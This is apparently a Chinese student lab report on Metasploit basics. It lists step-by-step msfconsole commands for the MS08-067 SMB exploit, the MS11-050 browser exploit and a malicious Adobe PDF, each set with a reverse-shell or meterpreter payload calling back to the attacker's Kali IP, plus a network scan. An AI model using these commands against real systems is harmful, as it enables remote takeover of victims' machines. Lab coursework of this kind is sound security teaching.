2017-2018-2 20155310『网络对抗技术』Exp5：MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode

exploit：由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞

payload:攻击载荷，如后门等攻击代码。

encode：指编码，对我们的程序或代码进行伪装。

实验内容

一个主动攻击实践，如ms08_067

1.启用msf终端msfconsole

2.然后使用search命令搜索该漏洞对应的模块：search ms08_067

3.渗透攻击模块路径名为“exploit/windows/smb/ms08_067_netapi” 包含四部分：模块类型、目标平台、目标服务和模块名字。

use exploit/windows/smb/ms08_067_netapi

1.查看信息：

show payloads

2.选择攻击载荷：

set payload generic/shell_reverse_tcp

3.查看配置渗透攻击所需的配置项：

show options

4.查看渗透攻击模块所能成功渗透攻击的目标平台

show targets

5.用show payloads查看可以供我们使用的攻击载荷：

6.从中找到一个可用的攻击载荷generic/shell_reverse_tcp，用set payload generic/shell_reverse_tcp设置payload：

7.用show options查看需要设置的参数

•这里需要设置RHOST（靶机IP）和LHOST（Kali的IP），使用set 需设置的参数名参数值命令即可设置：

8.设置target选项目标（例如我攻击系统为WIN xp 中文简体 SP2，所以选择10）

•确认参数设置无误后，用exploit指令开始攻击：

9.攻击成功后会获取靶机的shell，可以对其进行操作：

一个针对浏览器的攻击，如ms11_050

在攻击机kali输入msfconsole进入控制台，依次输入以下指令：

msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞

msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连

msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.136.130 //攻击机ip

msf exploit(ms11_050_cobjectelement) > set LPORT 5310 //攻击端口固定

msf exploit(ms11_050_cobjectelement) > exploit

用exploit指令开始攻击，攻击成功后会有靶机需要访问的网址：

在靶机IE上输入该网址

kali中显示session 1已经创建，并显示其会话ID

但是修改Internet的安全设置后失败了！

一个针对客户端的攻击，如Adobe

在攻击机kali输入msfconsole进入控制台，依次输入以下指令：

msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 192.168.136.128 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5310 //攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 20155310.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit//攻击

成功生成20155310.pdf:

将pdf文件传送或拷贝到靶机上后，在kali上输入back退出当前模块，进入监听模块，输入以下命令：

msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 192.168.136.128 //攻击机ip

msf exploit(handler) > set LPORT 5310 //攻击端口固定

msf exploit(handler) > exploit

然后在靶机上打开20155310.pdf文件

成功应用任何一个辅助模块

用show auxiliary查看所有辅助模块，并选择其中的一个，选的是scanner/ip/ipidseq：

查看需要设置的参数，设置完成后确认一下，这里可以进行对单一目标主机的扫描，然后就可以开始exploit了。

也可以对指定网段的主机进行扫描：

实践总结及体会

本次实验可以说是十分艰难了，主要在环境的配置上，自己配置了好久但还是不成功，最后拷了配置好的虚拟机。虽然整体实验流程并不复杂，但是仍然有失败的。通过这次实验感受到了msf工具功能的强大。